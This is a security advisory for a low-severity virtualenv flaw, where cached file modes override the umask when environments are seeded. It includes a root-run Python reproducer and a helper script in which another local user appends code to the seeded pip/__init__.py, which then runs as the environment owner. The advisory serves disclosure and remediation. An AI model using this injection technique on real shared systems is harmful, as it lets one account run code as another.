CVE-2026-113720: virtualenv: Seeded files retain permissions from an older cache
Summary
The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.
Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Permissions of files copied from app-data into a new environment.
Attacker-controlled input
The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.
Affected code
The relevant 21.14.8 source is in copy helpers.
Mechanism
The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.
Reproduction and evidence
The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask 022; a later environment had no files writable by another account, and that account could not append to pip/init.py. In the attack history, the first run used umask 000 and the later run still used 022. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both histories.
An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. PR #3425 creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.
Attack sequence
mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/init.py U->>E: run bin/pip --version E-->>U: appended code runs as owner
Reproducer files
The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path
sys.stdout.reconfigure(linebuffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHERUSER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check read here, as root: /tmp/repro.d need not be readable by the other user ATTACK = Path("/tmp/repro.d/otheruserappendstopip.py").readtext()
def runasowner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extragroups=[], umask=umask, env=environ, cwd=home, check=True)
def mode(path): return stat.filemode(os.stat(path).stmode)
work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignoreerrors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here
writablebyothers, appendedlineranas = {}, {} the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umaskofearlierrun in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{case}-home" home.mkdir(mode=0o700) os.chown(home, OWNER, OWNER) projects = work / f"{case}-projects" projects.mkdir(mode=0o755) os.chown(projects, OWNER, OWNER)
# owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it runasowner([VIRTUALENV, str(home / "earlier-env")], home, umask=umaskofearlierrun) # owner, today env = projects / "env" runasowner([VIRTUALENV, str(env)], home, umask=0o022)
(cachedpip,) = glob.glob(f"{home}/.cache/virtualenv/wheel//image/1/CopyPipInstall/pip-/pip/init.py") (seededpip,) = glob.glob(f"{env}/lib/python/site-packages/pip/init.py") envfiles = [path for path in env.rglob("") if path.isfile() and not path.issymlink()] writablebyothers[case] = sum(1 for path in envfiles if path.stat().stmode & stat.SIWOTH) print(f"{case} earlier run under umask {umaskofearlierrun:03o}, env created under umask 022") print(f"{case} cache pip/init.py {mode(cachedpip)}") print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}") print(f"{case} env bin/activate {mode(env / 'bin' / 'activate')}") print(f"{case} env pip/init.py {mode(seededpip)}") print(f"{case} env files writable by others: {writablebyothers[case]} of {len(envfiles)}")
# attack: another local user appends a line to the owner's seeded pip proof = proofs / case subprocess.run( ["python3", "-", str(env), str(proof)], input=ATTACK, text=True, user=OTHERUSER, group=OTHERUSER, extragroups=[], env={"PATH": os.environ["PATH"]}, cwd="/", check=True, )
# the owner uses the environment runasowner([str(env / "bin" / "pip"), "--version"], home, umask=0o022) appendedlineranas[case] = proof.readtext() if proof.exists() else None print(f"{case} other user's line ran as uid: {appendedlineranas[case]}")
check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier controlisprivate = writablebyothers["CONTROL"] == 0 and appendedlineranas["CONTROL"] is None observedrunsasowner = writablebyothers["OBSERVED"] > 0 and appendedlineranas["OBSERVED"] == str(OWNER) print("BUG" if controlisprivate and observedrunsasowner else "OK")
repro.d/otheruserappendstopip.py
text import glob import sys
environment, proof = sys.argv[1:] (pipinit,) = glob.glob(f"{environment}/lib/python/site-packages/pip/init.py") addedline = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"
try: with open(pipinit, "a") as pipsource: pipsource.write(addedline) print(f"other user: appended a line to {pipinit}") except PermissionError as error: print(f"other user: {error}")
Impact
Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy.
Fix: PR #3425.
Known mitigation
Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.
Other sources
virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the app-data copy seeder uses shutil.copy() to copy cached package files into later environments, causing cached source modes to override the current run's umask. A cache populated under a permissive umask can therefore produce files writable by another local account in a later traversable environment, allowing package code such as pip/init.py to be modified and executed by the environment owner. The attacker cannot force the earlier umask, and a private destination parent prevents access. This issue is fixed in version 21.14.9.
— Ubuntu
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/virtualenvto a version that resolves this vulnerability.Fixed in 21.14.9 - Upgrade
Upgrade
bitnami/virtualenvto a version that resolves this vulnerability.Fixed in 21.14.9 - Upgrade
Upgrade
debian/python-virtualenvto a version that resolves this vulnerability.Fixed in 21.15.6+ds-2 - Upgrade
Upgrade
virtualenvto a version that resolves this vulnerability.Fixed in 21.14.9 - Compensating control
Create environments beneath a directory accessible only to their owner.
- Operational
Recreate environments whose permissions were inherited from a permissive cache.
Event History
Frequently Asked Questions
Which environments are exposed to this issue?
virtualenv versions before 21.14.9 are affected when the app-data copy seeder reuses a cache populated under a permissive umask and creates a later environment in a traversable location. The resulting seeded package files may be writable by another local account.
What does an attacker need to exploit this?
An attacker needs local access that permits modifying the writable seeded files in the later environment. They cannot force the earlier cache-populating umask, and successful exploitation depends on the destination environment being accessible to them.
Does placing the environment under a private directory prevent exploitation?
Yes. A private destination parent prevents the other local account from accessing the environment, blocking the described attack path.
What is the remediation?
Upgrade virtualenv to version 21.14.9, which fixes the cache-copy behavior that preserves cached source permissions.